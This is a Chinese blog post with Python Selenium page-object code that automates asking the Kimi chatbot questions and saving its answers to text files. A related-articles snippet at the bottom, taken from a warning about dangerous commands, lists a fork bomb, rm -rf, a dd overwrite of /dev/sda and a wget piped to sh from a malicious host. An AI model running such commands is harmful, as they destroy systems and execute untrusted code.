pom学习笔记:kimi的自动化操作

news2024/11/29 5:50:41

1.先看结构:

声明:我是初学,可能有不合理的地方。

2.Base层。

我是把原来一个kimi的自动问答的代码改过来。

分析:其实我是新手,因为我用的浏览器是固定的,也没有打算和别人用。所以浏览器层面年的全部写死。

其他功能用到什么添什么。一步步完善。

后期我想这个这基层一直用下去。所以会一步步完善的。

base_page.py的内容如下:

import time

from selenium import webdriver
from selenium.webdriver.edge.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
import pyperclip
import os
class BasePage:
    def __init__(self):
        edge_user_data_dir = r"C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default"
        edge_options = Options()
        edge_options.use_chromium = True
        edge_options.add_argument('--disable-extensions')  # 禁用浏览器扩展
        edge_options.add_argument('--disable-gpu')  # 禁用GPU硬件加速
        # edge_options.add_argument('--headless')  # 禁用GPU硬件加速
        edge_options.add_argument(f"--user-data-dir={edge_user_data_dir}")
        self.driver = webdriver.Edge(options=edge_options)
        self.driver.maximize_window()
        self.wait = WebDriverWait(self.driver, 300)
        # self.driver = driver
        # self.driver.implicitly_wait(10)

    def keep_browser_open(self):
        """保持浏览器窗口打开,等待用户操作."""
        input("按回车键退出程序并关闭浏览器...")
    def js_condition(self,driver):
        """自定义等待条件函数,检查JavaScript返回值"""
        return driver.execute_script("return document.readyState") == "complete"
    def open_url(self,url):
        self.driver.get(url)
        self.wait.until(self.js_condition)
        print("页面加载完成")
        return True

    def find_element(self, loc):
        try:
            return self.wait.until(EC.element_to_be_clickable(loc))
        except Exception as e:
            print(f"元素未找到:{loc}")
            return False

    def find_elements(self, loc):
        elements = self.wait.until(EC.presence_of_all_elements_located(loc))
        if not elements:  # 可选:检查是否找到元素,如果没有,打印提示信息
            print(f"没有找到匹配的元素:{loc}")
        return elements

    def click_element(self,loc):
        element = self.find_element(loc)
        element.click()
        # self.driver.execute_script("arguments[0].click();", element)
    def set_text(self,loc,text):
        element=self.find_element(loc)
        element.send_keys(text)
    def full_path(self,filename):
        current_dir = os.getcwd()
        # 确保文件名加上.txt扩展名
        if not filename.endswith('.txt'):
            filename += ".txt"
        full_path = os.path.join(current_dir, filename)
        return full_path
    def clipboard_content_to_file(self,filename):
        full_path = self.full_path(filename)
        clipboard_text = pyperclip.paste()
        with open(full_path, 'w', encoding='utf-8') as file:
            file.write(clipboard_text)
        print(f"剪贴板内容已成功写入到文件: {filename}")

    def read_line_from_file(self,filename):
        full_path = self.full_path(filename)
        numeric_line = None  # 初始化为None,表示尚未找到符合条件的行
        try:
            with open(full_path, 'r', encoding='utf-8') as file:
                for line in file:
                    # 检查行是否以数字开头
                    if line.strip().startswith(tuple('0123456789')):
                        numeric_line = line.rstrip('\n')  # 找到第一行后移除行尾的换行符并赋值
                        break  # 终止循环
        except FileNotFoundError:
            print(f"文件 {filename} 未找到。")
        except Exception as e:
            print(f"读取文件时发生错误: {e}")
        print("读取当前行:",numeric_line)
        return numeric_line

    def del_line_from_file(self, filename):
        full_path = self.full_path(filename)
        numeric_line = None  # 初始化为None,表示尚未找到符合条件的行
        lines_to_write_back = []  # 用于存储除了被删除行外的所有行

        try:
            with open(full_path, 'r', encoding='utf-8') as file:
                found = False  # 标记是否已找到并处理符合条件的行
                for line in file:
                    if not found and line.strip().startswith(tuple('0123456789')):
                        numeric_line = line.rstrip('\n')  # 找到第一行后移除行尾的换行符并赋值
                        found = True  # 设置标志,表示已找到并处理了符合条件的行
                    else:
                        lines_to_write_back.append(line)  # 其他行保留,准备写回文件

            if found:  # 只有在确实找到并处理了符合条件的行后才重写文件
                with open(full_path, 'w', encoding='utf-8') as file:
                    file.writelines(lines_to_write_back)
        except FileNotFoundError:
            print(f"文件 {filename} 未找到。")
        except Exception as e:
            print(f"读取或修改文件时发生错误: {e}")
        print("删除当前行:", numeric_line)
        return numeric_line

    def append_content_to_file(self,filename, content):
        full_path = self.full_path(filename)
        try:
            with open(full_path, 'a', encoding='utf-8') as file:
                file.write(content + '\n')  # 内容后添加换行符,以便于区分多条内容
            print(f"内容已成功追加到文件: {filename}")
        except Exception as e:
            print(f"写入文件时发生错误: {e}")











测试用的代码,都通过了。

url = "https://kimi.moonshot.cn/"
case= BasePage()
case.open_url(url)
#lowImage___hU90c
# img_loc="By.CLASS_NAME", 'login____RTRY'
# img_loc=By.CLASS_NAME, 'lowImage___hU90c'
#
# if case.click_element(img_loc):
#     print("ok")
edit_loc= By.XPATH,'//div[@data-slate-node="element"]'
text="你好吗?"
case.send_text(edit_loc,text)
send_loc=By.ID, "send-button"
case.click_element(send_loc)
case.keep_browser_open()

3.page层

分析:因为我计划用于kimi或讯飞或其他,所以在规划时。计划用主域名当成关键字。而每一部分不再分成独立模块,如登录,主页,等。如何有跳转的话,后期根据情况写在base层。

import time
from class_learn.base.base_page import BasePage
from selenium.webdriver.common.by import By
import pyperclip
import os

class KimiPage(BasePage):
    def __init__(self):
        super().__init__()  # 假设BasePage也有初始化driver的逻辑,则需要调用super().__init__()

    def web_ready(self,url,ok_loc,nok_loc):
        if self.open_url(url):
            if self.find_element(ok_loc):
                print("发现头像,登录成功")
            else:
                self.click_element(nok_loc)

    def new_page(self,new_loc):
        self.click_element(new_loc)
        time.sleep(2)
    def get_questions(self, op_loc, op_loc1, edit_loc, keywords, send_loc, copy_loc):
        self.click_element(op_loc)
        time.sleep(1)
        self.click_element(op_loc1)
        time.sleep(1)
        self.set_text(edit_loc, keywords)
        self.click_element(send_loc)
        time.sleep(2)
        self.click_element(copy_loc)





    def set_text_and_send(self,edit_loc,text,send_loc):
        self.click_element(edit_loc)
        time.sleep(1)
        self.set_text(edit_loc,text)
        self.click_element(send_loc)

    def click_copy_and_save(self,copy_loc):
        pass




case = KimiPage()
url = "https://kimi.moonshot.cn/"
nok_loc=By.CLASS_NAME, 'login____RTRY' #未登录
ok_loc=By.CLASS_NAME, 'lowImage___hU90c' #已登录
case.web_ready(url,ok_loc,nok_loc)

new_loc=By.XPATH,"//div[@data-testid='msh-sidebar-new']"
case.new_page(new_loc)

op_loc=By.CSS_SELECTOR,".icon___zTPKp svg"
op_loc1=By.CSS_SELECTOR,".itemContainer___eYZxh .content___EPfWU"
op_loc2=By.CSS_SELECTOR,"div:nth-child(2) > .itemContainer___eYZxh .content___EPfWU"
edit_loc=By.XPATH,'//div[@data-slate-node="element"]'
keywords="泌尿系统"
send_loc=By.ID, "send-button"
copy_loc=By.XPATH,  "//span[contains(.,'复制')]"
# case.get_questions(op_loc,op_loc1,edit_loc,keywords,send_loc,copy_loc)
# case.clipboard_content_to_file(keywords)
file=keywords+"_ques"
for i in range(100):
    if i%10==0:
        case.new_page(new_loc)
        time.sleep(2)
    ask=case.read_line_from_file(keywords)
    case.get_questions(op_loc,op_loc2,edit_loc,ask,send_loc,copy_loc)
    case.del_line_from_file(keywords)
    case.append_content_to_file(file, f"第{i}章 {ask}")
    case.append_content_to_file(file,pyperclip.paste())
case.keep_browser_open()

基本完成了,可以自动生成100个问题,自动回答,自动追加到文本中,自动删除已经回答过的问题。方便系统错误后,接着进行,每10个问题自动开始一个新的页面。

感觉比原来好用多了。清晰了,看来代码要不停的写才可以。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1815689.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言,struct 结构体、union共用体的使用

//状态字节,根据数据定义几个标志,标志位依据联合体内部结构体进行变量定义 //目的,节省内存空间,省去特定字节 struct STATDATA {union{unsigned char stat;struct {unsigned stat0:1;unsigned stat1:1;unsigned stat2:1;unsign…

rtl8723du android5.1 6818 (wifi 部分)(第三部分)

这部分主要就是 应用了。具体的详细框架 在 android4.4 部分写的差不多的。 之前板卡依然是使用的 mt6620 ,所以在移植的过程中,需要把之前的 wifi 的驱动一点一点的去掉。 1 kernel 的修改。 将驱动拷贝到 wireless 下。 修改Kconfig 修改Makefile 2 驱动的Makefile 的修改…

塬号星球项目介绍

开发时间:2024 . 02~ 至今 已经部署上线(可以在微信里搜索“塬号星球”),仍在完善阶段。 塬号星球——周边信息社交生活服务平台 项目介绍:项目主要是针对于在大学有流量却不知道该如何变现的朋友,比…

Oracle最终会扼杀MySQL?(译)

原文网站:https://www.percona.com/blog/is-oracle-finally-killing-mysql/ 作者:Peter Zaitsev 自从Oracle收购了MySQL后,很多人怀疑Oracle对开源MySQL的善意,这篇percona的文章深入分析了Oracle已经和将要对MySQL采取的措施&a…

欢乐钓鱼大师攻略:buff大全讲解,云手机托管使用教程!

《欢乐钓鱼大师》是一款充满趣味与挑战的钓鱼模拟游戏。在这款游戏中,玩家不仅能够体验到钓鱼的乐趣,还需要通过策略性地收集与使用不同的钓鱼装备来提升自己的钓鱼技巧和效率。本文将为你提供一份详细的游戏攻略,帮助你在游戏中轻松上手并快…

CNS-BL30H系列直流无刷电机驱动器|电机参数配置方法

CNS-BL30H系列直流无刷电机驱动器|电机包含CNS-BL30HB、CNS-BL30HDN、CNS-BL30HSN,采用一驱二设计,可以同时驱动两个小于48V/1000W的直流无刷电机,体积小巧,安装方便,接线快捷,本文重点介绍CNS-BL30H系列直…

什么是 URL 过滤?是如何保障浏览体验的?

互联网是一个无边无际的空间,几乎包含了你能想象到的一切。不幸的是,这意味着也存在着从不合适到非常危险的网站。这就是 URL 过滤可以发挥作用的地方。 一、URL 过滤的含义 我们希望您已经熟悉 URL(统一资源定位器),…

Non-aligned Supervision for Real Image Dehazing

原文链接:https://www.semanticscholar.org/paper/Non-aligned-supervision-for-Real-Image-Dehazing-Fan-Guo/7595d39e71ae58343e8728fc1af0e18ffe38218b 数据集:https://www.cityscapes-dataset.com/ 真实的图像去雾的非对准监督 摘要 由于天气条件…

【Linux】手残党必学,再也不用跑路了

目录 🚨危险命令,请勿靠近TAT🖋️rm –rf🖋️){:|:&};:🖋️mv 指定的文件夹 /dev/null🖋️wget http://malicious_source -O- | sh🖋️dd if/dev/random of/dev/sda🖋️隐藏命令…

国标GB28181安防视频监控EasyCVR平台级联时上级平台不显示通道是什么原因?

国标GB28181安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台部署轻快,可支持的主流标准协议有GA/T 1400、国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。 有用户反馈&#xff…

蓝牙芯片TD5322A,蓝牙5.1数传芯片介绍—拓达半导体

蓝牙芯片原厂,拓达芯片TD5322A是一颗支持蓝牙BLE和SPP的数传芯片,蓝牙5.1版本。芯片的优点是尺寸小(SOP-8封装),性能强,价格低,以及简单明了的透传和串口AT控制功能,大大降低了在其它电子产品中…

java版spring cloud 深入探究ERP管理系统源码:功能模块详解与操作流程梳理

随着数字化转型的深入,企业对于高效、稳定且具有扩展性的管理系统的需求日益增加。为此,我们开发了一套基于Java技术的鸿鹄ERP管理系统,该系统整合了Spring Cloud Alibaba、Spring Boot、MybatisPlus、Redis等前沿技术,并采用了VU…

XmanagerXShell软件下载及安装教程

​XManager企业版是一款完整的企业网络连接套件,它配备了一个高性能的PC服务器,安全终端模拟器,是一个一体化的解决方案,将xmanager,xshell,xftp,xlpd,Xbrowser及xstart放置在一个软…

maven版本

一、快照版本SNAPSHOT和发布版本RELEASE区别 快照版本SNAPSHOT和发布版本RELEASE区别-CSDN博客 在使⽤maven过程中,我们在开发阶段经常性的会有很多公共库处于不稳定状态,随时需要修改并发布,可能⼀天就要发布⼀次,遇到bug时&am…

【ETAS CP AUTOSAR基础软件】BswM模块详解

文章包含了AUTOSAR基础软件(BSW)中BswM模块相关的内容详解。本文从AUTOSAR规范解析,ISOLAR-AB配置以及模块相关代码分析三个维度来帮读者清晰的认识和了解BswM这一基础软件模块。文中涉及的SOLAR-AB配置以及模块相关代码都是依托于ETAS提供的…

扩散模型ddpm原理

扩散模型ddpm原理 bilibili 视频讲解 笔记记录 总结:模型反向还原过程中,除模型推理得到噪声预测,还需要从标准正太分布中采样一份噪声,两者的线性组合得到前一时刻的降噪结果,这里可能会有较大的不确定性(对于生成式任…

2024最新最全【大模型】人工智能零基础入门到精通,看完这一篇就够了!

大模型技术是一个涉及人工智能、机器学习、深度学习等多个领域的复杂课题。学习大模型技术通常需要以下几个步骤: 基础知识学习:首先,需要掌握计算机科学、数据结构和算法的基础知识。此外,对线性代数、概率论和统计学有一定的理…

面试题:Redis和MySql数据库如何保持数据一致性?

前提引入: 在高并发的场景下,大量的请求直接访问Mysql很容易造成性能问题。所以,我们都会用Redis来做数据的缓存,削减对数据库的请求。但是,Mysql和Redis是两种不同的数据库,如何保证不同数据库之间数据的一…

C# WPF入门学习番外篇——C#使用WPF连接MySQL数据库

在 C# 中使用 WPF 连接 MySQL 数据库涉及几个步骤,包括安装必要的库,配置连接字符串,编写代码以执行数据库操作等。下面是一个详细的入门教程,帮助你理解如何在 WPF 应用程序中使用 MySQL 数据库。 1. 安装 MySQL 数据库连接器 …

打工人必看!AI+PS插件轻松搞定电商产品图!保姆教程来啦!

大家好哇!我是你们的AIGC测评博主米兔! 在当今电商蓬勃发展的时代,一张高质量、具有吸引力的产品图能够迅速吸引消费者的目光,提升购买欲望。今天,我们就来探讨一下如何利用AI结合PS插件制作电商产品图,让…